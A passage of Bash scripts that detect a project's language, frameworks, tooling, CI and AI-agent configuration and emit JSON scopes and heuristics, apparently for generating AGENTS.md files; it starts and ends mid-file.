\`$file\` | test structure |\n" done < <(find_test_examples) # Output (remove empty lines, duplicates) echo -e "$output" | sed '/^$/d' | sort -u | head -10 -
detect-heuristics.sh 3.2 KB
#!/usr/bin/env bash # Detect project heuristics (When X → Do Y decisions) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Get project language PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"language":"unknown"}') LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language') output="" # Check for env file patterns if [ -f ".env.example" ] || [ -f ".env.sample" ]; then output="$output| Adding env var | Add to \`.env.example\` first |\n" fi # Check for TypeScript env types if [ -f "src/env.d.ts" ] || [ -f "types/env.d.ts" ]; then output="$output| Adding env var | Also update \`types/env.d.ts\` |\n" fi # Check for Next.js App Router if [ -d "app" ] && { [ -f "next.config.js" ] || [ -f "next.config.ts" ] || [ -f "next.config.mjs" ]; }; then output="$output| Adding new page | Create in \`app/\` (App Router) |\n" fi # Check for old Next.js Pages Router if [ -d "pages" ] && [ ! -d "app" ]; then output="$output| Adding new page | Create in \`pages/\` directory |\n" fi # Check for state management if grep -q "zustand" package.json 2>/dev/null; then output="$output| Adding state | Use Zustand store in \`stores/\` |\n" elif grep -q "redux" package.json 2>/dev/null; then output="$output| Adding state | Use Redux slice pattern |\n" elif grep -q "mobx" package.json 2>/dev/null; then output="$output| Adding state | Use MobX observable pattern |\n" fi # Check for API directory patterns if [ -d "src/api" ] || [ -d "api" ]; then api_dir=$([ -d "src/api" ] && echo "src/api" || echo "api") output="$output| Adding API endpoint | Create in \`$api_dir/\` |\n" fi # Check for test patterns if [ -d "__tests__" ]; then output="$output| Adding tests | Create in \`__tests__/\` directory |\n" elif [ -d "tests" ] || [ -d "test" ]; then test_dir=$([ -d "tests" ] && echo "tests" || echo "test") output="$output| Adding tests | Create in \`$test_dir/\` directory |\n" fi # Check for TYPO3 if [ -f "ext_emconf.php" ]; then output="$output| Adding controller | Create in \`Classes/Controller/\` |\n" output="$output| Adding service | Create in \`Classes/Service/\` |\n" fi # Check for Makefile if [ -f "Makefile" ]; then output="$output| Running tasks | Check \`make help\` for available commands |\n" fi # Check for Docker if [ -f "docker-compose.yml" ] || [ -f "docker-compose.yaml" ] || [ -f "compose.yml" ]; then output="$output| Running locally | Use \`docker compose up\` |\n" fi # Check for DDEV if [ -d ".ddev" ]; then output="$output| Running locally | Use \`ddev start\` then \`ddev ssh\` |\n" fi # Language-specific heuristics case "$LANGUAGE" in "go") output="$output| Adding package | Internal → \`internal/\`, Public → \`pkg/\` |\n" [ -f "go.work" ] && output="$output| Multi-module | Use \`go.work\` for workspace |\n" ;; "php") output="$output| Adding class | Follow PSR-4 in \`Classes/\` or \`src/\` |\n" ;; "python") [ -f "pyproject.toml" ] && output="$output| Adding dependency | Update \`pyproject.toml\` |\n" ;; esac # Output (remove empty lines, duplicates, limit to 10) echo -e "$output" | sed '/^$/d' | sort -u | head -10 -
detect-project.sh 19.5 KB
#!/usr/bin/env bash # Detect project type, language, version, and build tools set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # shellcheck source-path=SCRIPTDIR # shellcheck disable=SC1091 # pre-commit runs shellcheck without -x, so # it cannot follow this source however the path is written. source "$SCRIPT_DIR/lib/config-root.sh" PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Initialize variables LANGUAGE="unknown" VERSION="unknown" BUILD_TOOL="unknown" # Deprecated: use package_manager or task_runner PACKAGE_MANAGER="unknown" # Package manager: npm/yarn/pnpm/bun, composer, poetry/uv/pip, go TASK_RUNNER="none" # Task runner: make/just/mage/bazel, or none FRAMEWORK="none" PROJECT_TYPE="unknown" QUALITY_TOOLS=() TEST_FRAMEWORK="unknown" HAS_DOCKER=false CI="none" IDE_CONFIGS=() AGENT_CONFIGS=() STACKS=() # Multi-stack detection: (go, php, python, typescript, docker) # Detect language and version detect_language() { if [ -f "go.mod" ]; then LANGUAGE="go" VERSION=$(grep '^go ' go.mod | awk '{print $2}' || echo "unknown") BUILD_TOOL="go" PACKAGE_MANAGER="go" TEST_FRAMEWORK="testing" # Detect Go project type if [ -d "cmd" ]; then PROJECT_TYPE="go-cli" elif grep -q "github.com/gofiber/fiber" go.mod 2>/dev/null; then PROJECT_TYPE="go-web-app" FRAMEWORK="fiber" elif grep -q "github.com/labstack/echo" go.mod 2>/dev/null; then PROJECT_TYPE="go-web-app" FRAMEWORK="echo" elif grep -q "github.com/gin-gonic/gin" go.mod 2>/dev/null; then PROJECT_TYPE="go-web-app" FRAMEWORK="gin" else PROJECT_TYPE="go-library" fi # Detect Go quality tools { [ -f ".golangci.yml" ] || [ -f ".golangci.yaml" ]; } && QUALITY_TOOLS+=("golangci-lint") || true command -v gofmt &>/dev/null && QUALITY_TOOLS+=("gofmt") || true elif [ -f "composer.json" ]; then # Check if this is actually a PHP project: # 1. Has PHP version requirement, OR # 2. Has PHP source files, OR # 3. Has PHP framework dependencies local has_php_requirement=false local has_php_files=false local has_php_deps=false # Check for PHP version requirement if jq -e '.require.php // .["require-dev"].php' composer.json &>/dev/null; then has_php_requirement=true fi # Check for PHP source files (common locations) if [[ -d "src" ]] && [[ -n "$(find src -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then has_php_files=true elif [[ -d "Classes" ]] && [[ -n "$(find Classes -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then has_php_files=true elif [[ -d "lib" ]] && [[ -n "$(find lib -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then has_php_files=true elif [ -f "ext_emconf.php" ]; then has_php_files=true elif [[ -n "$(find . -maxdepth 2 -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then has_php_files=true fi # Check for PHP framework dependencies if jq -e '.require."typo3/cms-core" // .require."laravel/framework" // .require."symfony/framework-bundle" // .require."oro/platform"' composer.json &>/dev/null; then has_php_deps=true fi # Only treat as PHP if we have evidence it's a PHP project if [ "$has_php_requirement" = true ] || [ "$has_php_files" = true ] || [ "$has_php_deps" = true ]; then LANGUAGE="php" VERSION=$(jq -r '.require.php // "unknown"' composer.json 2>/dev/null || echo "unknown") BUILD_TOOL="composer" PACKAGE_MANAGER="composer" else # composer.json exists but this isn't a PHP project # Continue to check other languages : fi # Detect PHP framework (only if we determined this is PHP) if [ "$LANGUAGE" = "php" ]; then # TYPO3 extension detection (ext_emconf.php is definitive) if [ -f "ext_emconf.php" ]; then PROJECT_TYPE="php-typo3-extension" FRAMEWORK="typo3" elif jq -e '.require."typo3/cms-core"' composer.json &>/dev/null; then PROJECT_TYPE="php-typo3" FRAMEWORK="typo3" # Oro detection (OroCommerce, OroPlatform, OroCRM) # Differentiate between full Oro project and standalone bundle elif jq -e '.require."oro/platform"' composer.json &>/dev/null || \ jq -e '.require."oro/commerce"' composer.json &>/dev/null || \ jq -e '.require."oro/crm"' composer.json &>/dev/null; then FRAMEWORK="oro" # Check if it's a standalone bundle (has type: oro-bundle, or no bin/console) composer_type=$(jq -r '.type // ""' composer.json 2>/dev/null) if [ "$composer_type" = "oro-bundle" ] || [ "$composer_type" = "symfony-bundle" ]; then PROJECT_TYPE="php-oro-bundle" elif [ -f "bin/console" ] || [ -f "public/index.php" ]; then PROJECT_TYPE="php-oro" else # Likely a standalone bundle without explicit type PROJECT_TYPE="php-oro-bundle" fi elif [ -f "config/oro/bundles.yml" ]; then PROJECT_TYPE="php-oro-bundle" FRAMEWORK="oro" elif jq -e '.require."laravel/framework"' composer.json &>/dev/null; then PROJECT_TYPE="php-laravel" FRAMEWORK="laravel" elif jq -e '.require."symfony/symfony"' composer.json &>/dev/null || \ jq -e '.require."symfony/framework-bundle"' composer.json &>/dev/null; then PROJECT_TYPE="php-symfony" FRAMEWORK="symfony" else PROJECT_TYPE="php-library" fi # Detect PHP quality tools jq -e '.require."phpstan/phpstan" // .["require-dev"]."phpstan/phpstan"' composer.json &>/dev/null && QUALITY_TOOLS+=("phpstan") || true jq -e '.require."friendsofphp/php-cs-fixer" // .["require-dev"]."friendsofphp/php-cs-fixer"' composer.json &>/dev/null && QUALITY_TOOLS+=("php-cs-fixer") || true { [ -f "phpunit.xml" ] || [ -f "phpunit.xml.dist" ]; } && TEST_FRAMEWORK="phpunit" || true fi # If composer.json exists but it's not a PHP project, fall through to other checks fi # Check for package.json (might also exist alongside composer.json) if [ "$LANGUAGE" = "unknown" ] && [ -f "package.json" ]; then LANGUAGE="typescript" VERSION=$(jq -r '.engines.node // "unknown"' package.json 2>/dev/null || echo "unknown") # Detect package manager from lockfile (workspace-aware, default npm) PACKAGE_MANAGER="npm" local ws_root ws_root=$(find_node_workspace_root "$(pwd)" || true) if [ -n "$ws_root" ]; then # Check workspace root for lockfiles [ -f "$ws_root/pnpm-lock.yaml" ] && PACKAGE_MANAGER="pnpm" [ -f "$ws_root/yarn.lock" ] && PACKAGE_MANAGER="yarn" [ -f "$ws_root/bun.lockb" ] && PACKAGE_MANAGER="bun" [ -f "$ws_root/package-lock.json" ] && PACKAGE_MANAGER="npm" else # Fallback to local lockfiles [ -f "yarn.lock" ] && PACKAGE_MANAGER="yarn" [ -f "pnpm-lock.yaml" ] && PACKAGE_MANAGER="pnpm" [ -f "bun.lockb" ] && PACKAGE_MANAGER="bun" fi BUILD_TOOL="$PACKAGE_MANAGER" # Detect JS/TS framework if jq -e '.dependencies."next"' package.json &>/dev/null; then PROJECT_TYPE="typescript-nextjs" FRAMEWORK="next.js" elif jq -e '.dependencies."react"' package.json &>/dev/null; then PROJECT_TYPE="typescript-react" FRAMEWORK="react" elif jq -e '.dependencies."vue"' package.json &>/dev/null; then PROJECT_TYPE="typescript-vue" FRAMEWORK="vue" elif jq -e '.dependencies."express"' package.json &>/dev/null; then PROJECT_TYPE="typescript-node" FRAMEWORK="express" else PROJECT_TYPE="typescript-library" fi # Detect quality tools jq -e '.devDependencies."eslint"' package.json &>/dev/null && QUALITY_TOOLS+=("eslint") || true jq -e '.devDependencies."prettier"' package.json &>/dev/null && QUALITY_TOOLS+=("prettier") || true jq -e '.devDependencies."typescript"' package.json &>/dev/null && QUALITY_TOOLS+=("tsc") || true # Detect test framework if jq -e '.devDependencies."jest"' package.json &>/dev/null; then TEST_FRAMEWORK="jest" elif jq -e '.devDependencies."vitest"' package.json &>/dev/null; then TEST_FRAMEWORK="vitest" fi || true fi # Check for pyproject.toml if [ "$LANGUAGE" = "unknown" ] && [ -f "pyproject.toml" ]; then LANGUAGE="python" VERSION=$(grep 'requires-python' pyproject.toml | cut -d'"' -f2 2>/dev/null || echo "unknown") # Detect Python package manager if grep -q '\[tool.poetry\]' pyproject.toml 2>/dev/null; then PACKAGE_MANAGER="poetry" elif grep -q '\[tool.uv\]' pyproject.toml 2>/dev/null || [ -f "uv.lock" ]; then PACKAGE_MANAGER="uv" elif grep -q '\[tool.hatch\]' pyproject.toml 2>/dev/null; then PACKAGE_MANAGER="hatch" else PACKAGE_MANAGER="pip" fi BUILD_TOOL="$PACKAGE_MANAGER" # Detect framework if grep -q 'django' pyproject.toml 2>/dev/null; then PROJECT_TYPE="python-django" FRAMEWORK="django" elif grep -q 'flask' pyproject.toml 2>/dev/null; then PROJECT_TYPE="python-flask" FRAMEWORK="flask" elif grep -q 'fastapi' pyproject.toml 2>/dev/null; then PROJECT_TYPE="python-fastapi" FRAMEWORK="fastapi" elif [ -d "scripts" ] && [ "$(find scripts -name '*.py' | wc -l)" -gt 3 ]; then PROJECT_TYPE="python-cli" else PROJECT_TYPE="python-library" fi # Detect quality tools grep -q 'ruff' pyproject.toml 2>/dev/null && QUALITY_TOOLS+=("ruff") grep -q 'black' pyproject.toml 2>/dev/null && QUALITY_TOOLS+=("black") grep -q 'mypy' pyproject.toml 2>/dev/null && QUALITY_TOOLS+=("mypy") grep -q 'pytest' pyproject.toml 2>/dev/null && TEST_FRAMEWORK="pytest" fi # Check for Claude Code plugin/skill repos # Can be: plugin-only, skill-only, plugin+skills, or any of these with bash if [ "$LANGUAGE" = "unknown" ]; then local has_plugin=false local has_skills=false local skill_count=0 [ -f ".claude-plugin/plugin.json" ] && has_plugin=true [ -d "skills" ] && skill_count=$(find skills -maxdepth 2 -name "SKILL.md" -type f 2>/dev/null | wc -l) [ "$skill_count" -gt 0 ] && has_skills=true if [ "$has_plugin" = true ] || [ "$has_skills" = true ]; then FRAMEWORK="claude-code" PACKAGE_MANAGER="none" # Determine project type based on combination if [ "$has_plugin" = true ] && [ "$has_skills" = true ]; then if [ "$skill_count" -gt 1 ]; then PROJECT_TYPE="claude-code-plugin-monorepo" else PROJECT_TYPE="claude-code-plugin" fi LANGUAGE="claude-code-plugin" elif [ "$has_plugin" = true ]; then PROJECT_TYPE="claude-code-plugin" LANGUAGE="claude-code-plugin" else # Skills without plugin.json (standalone skill repo) if [ "$skill_count" -gt 1 ]; then PROJECT_TYPE="claude-code-skill-monorepo" else PROJECT_TYPE="claude-code-skill" fi LANGUAGE="claude-code-skill" fi # Check for shell scripts (common in skills) local sh_count sh_count=$(find . -maxdepth 5 -name "*.sh" -type f 2>/dev/null | wc -l) if [ "$sh_count" -gt 3 ]; then BUILD_TOOL="bash" [ -f ".shellcheckrc" ] && QUALITY_TOOLS+=("shellcheck") || true fi fi fi # Container-primary detection (Dockerfile-only repos) # Must come before bash fallback - some container repos have helper scripts if [ "$LANGUAGE" = "unknown" ]; then if [ -f "Dockerfile" ]; then # Check if this is primarily a container image project # Indicators: no source code, or only build scripts local has_source=false # Check for significant source files [ "$(find . -maxdepth 3 -name '*.go' -o -name '*.py' -o -name '*.php' -o -name '*.ts' -o -name '*.js' 2>/dev/null | head -5 | wc -l)" -gt 3 ] && has_source=true if [ "$has_source" = false ]; then LANGUAGE="docker" PROJECT_TYPE="container-image" BUILD_TOOL="docker" PACKAGE_MANAGER="none" FRAMEWORK="docker" # Detect if it's a compose-based project if [ -f "docker-compose.yml" ] || [ -f "compose.yml" ] || [ -f "compose.yaml" ]; then PROJECT_TYPE="container-stack" fi fi fi fi # Fallback: Check for bash/shell projects if [ "$LANGUAGE" = "unknown" ]; then local sh_count sh_count=$(find . -maxdepth 5 -name "*.sh" -type f 2>/dev/null | wc -l) if [ "$sh_count" -gt 3 ]; then LANGUAGE="bash" PROJECT_TYPE="bash-scripts" BUILD_TOOL="bash" PACKAGE_MANAGER="none" # Check for shellcheck [ -f ".shellcheckrc" ] && QUALITY_TOOLS+=("shellcheck") || true fi fi } # Detect task runner (does NOT override package_manager) if [ -f "Makefile" ]; then TASK_RUNNER="make" elif [ -f "justfile" ] || [ -f "Justfile" ]; then TASK_RUNNER="just" elif [ -f "Taskfile.yml" ] || [ -f "Taskfile.yaml" ]; then TASK_RUNNER="task" fi # Detect Docker (check both old and new compose naming) [ -f "Dockerfile" ] || [ -f "docker-compose.yml" ] || [ -f "compose.yml" ] || [ -f "compose.yaml" ] && HAS_DOCKER=true # Detect CI if [ -d ".github/workflows" ]; then CI="github-actions" elif [ -f ".gitlab-ci.yml" ]; then CI="gitlab-ci" elif [ -f ".circleci/config.yml" ]; then CI="circleci" fi # Detect IDE configurations [ -f ".editorconfig" ] && IDE_CONFIGS+=("editorconfig") || true [ -d ".vscode" ] && IDE_CONFIGS+=("vscode") || true [ -d ".idea" ] && IDE_CONFIGS+=("idea") || true [ -d ".phpstorm" ] && IDE_CONFIGS+=("phpstorm") || true [ -d ".fleet" ] && IDE_CONFIGS+=("fleet") || true [ -f ".sublime-project" ] && IDE_CONFIGS+=("sublime") || true { [ -d ".vim" ] || [ -f ".vimrc" ]; } && IDE_CONFIGS+=("vim") || true { [ -d ".nvim" ] || [ -f ".nvimrc" ]; } && IDE_CONFIGS+=("neovim") || true # Detect AI coding agent configurations [ -d ".cursor" ] && AGENT_CONFIGS+=("cursor") || true { [ -d ".claude" ] || [ -f "CLAUDE.md" ] || [ -f ".claude/CLAUDE.md" ]; } && AGENT_CONFIGS+=("claude") || true [ -d ".windsurf" ] && AGENT_CONFIGS+=("windsurf") || true { [ -d ".aider" ] || [ -f ".aider.conf.yml" ]; } && AGENT_CONFIGS+=("aider") || true [ -d ".continue" ] && AGENT_CONFIGS+=("continue") || true { [ -f "copilot-instructions.md" ] || [ -f ".github/copilot-instructions.md" ]; } && AGENT_CONFIGS+=("copilot") || true [ -d ".codeium" ] && AGENT_CONFIGS+=("codeium") || true [ -d ".tabnine" ] && AGENT_CONFIGS+=("tabnine") || true { [ -d ".sourcegraph" ] || [ -f ".sourcegraph/cody.json" ]; } && AGENT_CONFIGS+=("cody") || true # Run detection detect_language # Multi-stack detection: detect secondary languages/technologies # STACKS array is populated here after primary language detection detect_stacks() { # Always add primary language to stacks (if known) [ "$LANGUAGE" != "unknown" ] && STACKS+=("$LANGUAGE") # Detect Docker as secondary stack (if not already primary) if [ "$LANGUAGE" != "docker" ] && [ "$HAS_DOCKER" = true ]; then STACKS+=("docker") fi # Detect frontend stack in backend projects if [[ "$LANGUAGE" =~ ^(php|go|python)$ ]]; then # Check for Node.js frontend if [ -f "package.json" ]; then # Check what kind of frontend if jq -e '.dependencies."react" // .dependencies."next"' package.json &>/dev/null; then STACKS+=("react") elif jq -e '.dependencies."vue"' package.json &>/dev/null; then STACKS+=("vue") elif jq -e '.dependencies."svelte"' package.json &>/dev/null; then STACKS+=("svelte") else STACKS+=("typescript") fi fi # Check for frontend in subdirectories for frontend_dir in web frontend client ui internal/web; do if [ -d "$frontend_dir" ] && [ -f "$frontend_dir/package.json" ]; then if jq -e '.dependencies."react" // .dependencies."next"' "$frontend_dir/package.json" &>/dev/null; then [[ ! " ${STACKS[*]} " =~ " react " ]] && STACKS+=("react") elif jq -e '.dependencies."vue"' "$frontend_dir/package.json" &>/dev/null; then [[ ! " ${STACKS[*]} " =~ " vue " ]] && STACKS+=("vue") fi fi done fi # Detect backend in frontend projects (monorepo patterns) if [[ "$LANGUAGE" == "typescript" ]]; then # Check for Go backend if [ -f "go.mod" ] || [ -d "server" ] && [ -f "server/go.mod" ]; then STACKS+=("go") fi # Check for Python backend if [ -f "pyproject.toml" ] || { [ -d "server" ] && [ -f "server/pyproject.toml" ]; }; then STACKS+=("python") fi # Check for PHP backend if [ -f "composer.json" ] || { [ -d "api" ] && [ -f "api/composer.json" ]; }; then STACKS+=("php") fi fi } detect_stacks # Output JSON # Handle empty arrays if [ ${#QUALITY_TOOLS[@]} -eq 0 ]; then TOOLS_JSON="[]" else TOOLS_JSON="$(printf '%s\n' "${QUALITY_TOOLS[@]}" | jq -R . | jq -s .)" fi if [ ${#IDE_CONFIGS[@]} -eq 0 ]; then IDE_JSON="[]" else IDE_JSON="$(printf '%s\n' "${IDE_CONFIGS[@]}" | jq -R . | jq -s .)" fi if [ ${#AGENT_CONFIGS[@]} -eq 0 ]; then AGENT_JSON="[]" else AGENT_JSON="$(printf '%s\n' "${AGENT_CONFIGS[@]}" | jq -R . | jq -s .)" fi if [ ${#STACKS[@]} -eq 0 ]; then STACKS_JSON="[]" else STACKS_JSON="$(printf '%s\n' "${STACKS[@]}" | jq -R . | jq -s .)" fi jq -n \ --arg type "$PROJECT_TYPE" \ --arg lang "$LANGUAGE" \ --arg ver "$VERSION" \ --arg build "$BUILD_TOOL" \ --arg pkg_mgr "$PACKAGE_MANAGER" \ --arg task_runner "$TASK_RUNNER" \ --arg framework "$FRAMEWORK" \ --argjson docker "$HAS_DOCKER" \ --argjson tools "$TOOLS_JSON" \ --arg test "$TEST_FRAMEWORK" \ --arg ci "$CI" \ --argjson ide_configs "$IDE_JSON" \ --argjson agent_configs "$AGENT_JSON" \ --argjson stacks "$STACKS_JSON" \ '{ type: $type, language: $lang, version: $ver, build_tool: $build, package_manager: $pkg_mgr, task_runner: $task_runner, framework: $framework, has_docker: $docker, quality_tools: $tools, test_framework: $test, ci: $ci, ide_configs: $ide_configs, agent_configs: $agent_configs, stacks: $stacks }' -
detect-scopes.sh 13.3 KB
#!/usr/bin/env bash # Detect directories that should have scoped AGENTS.md files set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" MIN_FILES=5 # Minimum files to warrant scoped AGENTS.md # Get project info PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR") LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language') scopes=() # Function to count source files in a directory count_source_files() { local dir="$1" local pattern="$2" find "$dir" -maxdepth 3 -type f -name "$pattern" 2>/dev/null | wc -l } # Function to add scope (uses jq for proper JSON escaping) add_scope() { local path="$1" local type="$2" local count="$3" scopes+=("$(jq -n --arg p "$path" --arg t "$type" --argjson c "$count" \ '{path: $p, type: $t, files: $c}')") } # Language-specific scope detection case "$LANGUAGE" in "go") # Check common Go directories [ -d "internal" ] && { count=$(count_source_files "internal" "*.go") [ "$count" -ge "$MIN_FILES" ] && add_scope "internal" "backend-go" "$count" } [ -d "pkg" ] && { count=$(count_source_files "pkg" "*.go") [ "$count" -ge "$MIN_FILES" ] && add_scope "pkg" "backend-go" "$count" } [ -d "cmd" ] && { count=$(count_source_files "cmd" "*.go") [ "$count" -ge 3 ] && add_scope "cmd" "cli" "$count" } [ -d "examples" ] && { count=$(count_source_files "examples" "*.go") [ "$count" -ge 3 ] && add_scope "examples" "examples" "$count" } [ -d "testutil" ] && { count=$(count_source_files "testutil" "*.go") [ "$count" -ge 3 ] && add_scope "testutil" "testing" "$count" } [ -d "docs" ] && { count=$(find docs -type f \( -name "*.md" -o -name "*.rst" \) | wc -l) [ "$count" -ge 3 ] && add_scope "docs" "documentation" "$count" } ;; "php") # Determine PHP backend type based on framework FRAMEWORK=$(echo "$PROJECT_INFO" | jq -r '.framework') PROJECT_TYPE=$(echo "$PROJECT_INFO" | jq -r '.type') # Select appropriate backend template # Differentiate between extension/bundle (standalone package) vs project (full installation) if [ "$PROJECT_TYPE" = "php-typo3-extension" ]; then PHP_BACKEND_TYPE="typo3-extension" elif [ "$PROJECT_TYPE" = "php-typo3" ]; then PHP_BACKEND_TYPE="typo3-project" elif [ "$PROJECT_TYPE" = "php-oro-bundle" ]; then PHP_BACKEND_TYPE="oro-bundle" elif [ "$PROJECT_TYPE" = "php-oro" ]; then PHP_BACKEND_TYPE="oro-project" elif [ "$FRAMEWORK" = "symfony" ] || [ "$PROJECT_TYPE" = "php-symfony" ]; then PHP_BACKEND_TYPE="symfony" else PHP_BACKEND_TYPE="backend-php" fi # Check common PHP directories [ -d "Classes" ] && { count=$(count_source_files "Classes" "*.php") [ "$count" -ge "$MIN_FILES" ] && add_scope "Classes" "$PHP_BACKEND_TYPE" "$count" } [ -d "src" ] && { count=$(count_source_files "src" "*.php") [ "$count" -ge "$MIN_FILES" ] && add_scope "src" "$PHP_BACKEND_TYPE" "$count" } [ -d "Tests" ] && { count=$(count_source_files "Tests" "*.php") if [ "$count" -ge 3 ]; then # Use TYPO3-specific testing template for TYPO3 extensions if [ "$PROJECT_TYPE" = "php-typo3-extension" ]; then add_scope "Tests" "typo3-testing" "$count" else add_scope "Tests" "testing" "$count" fi fi } [ -d "tests" ] && { count=$(count_source_files "tests" "*.php") [ "$count" -ge 3 ] && add_scope "tests" "testing" "$count" } [ -d "Documentation" ] && { count=$(find Documentation -type f \( -name "*.rst" -o -name "*.md" \) | wc -l) if [ "$count" -ge 3 ]; then # Use TYPO3-specific docs template for TYPO3 extensions if [ "$PROJECT_TYPE" = "php-typo3-extension" ]; then add_scope "Documentation" "typo3-docs" "$count" else add_scope "Documentation" "documentation" "$count" fi fi } [ -d "Resources" ] && { count=$(find Resources -type f | wc -l) [ "$count" -ge 5 ] && add_scope "Resources" "resources" "$count" } # Oro-specific: check for Bundle directories within projects if [ "$PROJECT_TYPE" = "php-oro" ]; then for bundle_dir in src/*/Bundle/*/; do [ -d "$bundle_dir" ] && { count=$(count_source_files "$bundle_dir" "*.php") [ "$count" -ge "$MIN_FILES" ] && add_scope "${bundle_dir%/}" "oro-bundle" "$count" } done fi ;; "typescript") # Check common TypeScript/JavaScript directories [ -d "src" ] && { count=$(count_source_files "src" "*.ts") ts_count=$count count=$(count_source_files "src" "*.tsx") tsx_count=$count if [ "$tsx_count" -ge "$MIN_FILES" ]; then add_scope "src" "frontend-typescript" "$tsx_count" elif [ "$ts_count" -ge "$MIN_FILES" ]; then add_scope "src" "backend-typescript" "$ts_count" fi } [ -d "components" ] && { count=$(count_source_files "components" "*.tsx") [ "$count" -ge "$MIN_FILES" ] && add_scope "components" "frontend-typescript" "$count" } [ -d "pages" ] && { count=$(count_source_files "pages" "*.tsx") [ "$count" -ge 3 ] && add_scope "pages" "frontend-typescript" "$count" } [ -d "app" ] && { count=$(count_source_files "app" "*.tsx") [ "$count" -ge 3 ] && add_scope "app" "frontend-typescript" "$count" } if [ -d "server" ] || [ -d "backend" ]; then dir=$([ -d "server" ] && echo "server" || echo "backend") count=$(count_source_files "$dir" "*.ts") [ "$count" -ge "$MIN_FILES" ] && add_scope "$dir" "backend-typescript" "$count" fi if [ -d "__tests__" ] || [ -d "tests" ]; then dir=$([ -d "__tests__" ] && echo "__tests__" || echo "tests") count=$(count_source_files "$dir" "*.test.ts") [ "$count" -ge 3 ] && add_scope "$dir" "testing" "$count" fi ;; "python") # Determine Python template: use python-modern if pyproject.toml with ruff/mypy PYTHON_TEMPLATE="backend-python" if [ -f "pyproject.toml" ]; then if grep -q 'ruff' pyproject.toml 2>/dev/null || grep -q 'mypy' pyproject.toml 2>/dev/null; then PYTHON_TEMPLATE="python-modern" fi fi # Check common Python directories [ -d "src" ] && { count=$(count_source_files "src" "*.py") [ "$count" -ge "$MIN_FILES" ] && add_scope "src" "$PYTHON_TEMPLATE" "$count" } [ -d "tests" ] && { count=$(count_source_files "tests" "*.py") [ "$count" -ge 3 ] && add_scope "tests" "testing" "$count" } [ -d "scripts" ] && { count=$(count_source_files "scripts" "*.py") [ "$count" -ge 3 ] && add_scope "scripts" "cli" "$count" } [ -d "docs" ] && { count=$(find docs -type f \( -name "*.md" -o -name "*.rst" \) | wc -l) [ "$count" -ge 3 ] && add_scope "docs" "documentation" "$count" } ;; esac # Check for web subdirectories (cross-language) # IMPORTANT: Only create frontend-typescript scopes if Node toolchain exists # Either: package.json in scope dir, package.json at root, or lockfile at root has_node_toolchain() { local scope_dir="$1" [ -f "$scope_dir/package.json" ] || \ [ -f "package.json" ] || \ [ -f "pnpm-lock.yaml" ] || \ [ -f "yarn.lock" ] || \ [ -f "bun.lockb" ] || \ [ -f "package-lock.json" ] } for web_dir in internal/web web frontend client ui; do if [ -d "$web_dir" ]; then count=$(find "$web_dir" -type f \( -name "*.ts" -o -name "*.tsx" -o -name "*.js" -o -name "*.jsx" \) 2>/dev/null | wc -l) if [ "$count" -ge "$MIN_FILES" ] && has_node_toolchain "$web_dir"; then add_scope "$web_dir" "frontend-typescript" "$count" fi fi done # Check for Claude Code skills (each skill gets its own scope) if [ -d "skills" ]; then for skill_dir in skills/*/; do if [ -f "${skill_dir}SKILL.md" ]; then # Count files in skill (sh, md, yaml) count=$(find "$skill_dir" -type f \( -name "*.sh" -o -name "*.md" -o -name "*.yaml" -o -name "*.yml" \) 2>/dev/null | wc -l) add_scope "${skill_dir%/}" "claude-code-skill" "$count" fi done fi # Check for DDEV local development environment (cross-language) if [ -d ".ddev" ]; then count=$(find .ddev -type f \( -name "*.yaml" -o -name "*.yml" \) 2>/dev/null | wc -l) [ "$count" -ge 1 ] && add_scope ".ddev" "ddev" "$count" fi # Check for Docker/container directories (cross-language) # These get "docker" scope type for container-focused documentation for docker_dir in docker deploy .docker infrastructure infra; do if [ -d "$docker_dir" ]; then # Count Docker-related files count=$(find "$docker_dir" -type f \( -name "Dockerfile*" -o -name "*.dockerfile" -o -name "docker-compose*.yml" -o -name "compose*.yml" -o -name "*.yaml" -o -name "*.sh" \) 2>/dev/null | wc -l) [ "$count" -ge 2 ] && add_scope "$docker_dir" "docker" "$count" fi done # Check for CI/CD configurations (cross-language) # GitHub Actions if [ -d ".github/workflows" ]; then count=$(find .github/workflows -type f -name "*.yml" -o -name "*.yaml" 2>/dev/null | wc -l) [ "$count" -ge 1 ] && add_scope ".github/workflows" "github-actions" "$count" fi # GitLab CI - use .gitlab directory if exists, otherwise skip (root AGENTS.md covers it) if [ -f ".gitlab-ci.yml" ]; then if [ -d ".gitlab" ]; then count=$(find .gitlab -type f -name "*.yml" 2>/dev/null | wc -l) [ "$count" -ge 1 ] && add_scope ".gitlab" "gitlab-ci" "$count" fi # Note: If no .gitlab/ directory, the root AGENTS.md will mention gitlab-ci.yml fi # Concourse CI concourse_detected=false concourse_dir="" for concourse_pattern in "ci/pipeline.yml" "ci/pipeline.yaml" "concourse/pipeline.yml"; do if [ -f "$concourse_pattern" ]; then concourse_dir=$(dirname "$concourse_pattern") concourse_detected=true break fi done # Check for pipeline.yml at root - only create scope if ci/ directory exists if [ "$concourse_detected" = false ]; then if [ -f "pipeline.yml" ] || [ -f "pipeline.yaml" ]; then if [ -d "ci" ]; then concourse_dir="ci" concourse_detected=true fi # If no ci/ directory, root AGENTS.md will cover the pipeline file fi fi # Also check for *-pipeline.yml at root - only create scope if ci/ directory exists if [ "$concourse_detected" = false ]; then pipeline_files=$(find . -maxdepth 1 -name "*-pipeline.yml" -o -name "*-pipeline.yaml" 2>/dev/null | wc -l) if [ "$pipeline_files" -gt 0 ] && [ -d "ci" ]; then concourse_dir="ci" concourse_detected=true fi fi if [ "$concourse_detected" = true ] && [ -n "$concourse_dir" ] && [ -d "$concourse_dir" ]; then count=$(find "$concourse_dir" -type f \( -name "*.yml" -o -name "*.yaml" -o -name "*.sh" \) 2>/dev/null | wc -l) [ "$count" -ge 1 ] && add_scope "$concourse_dir" "concourse" "$count" fi # Output JSON # A directory that already carries an 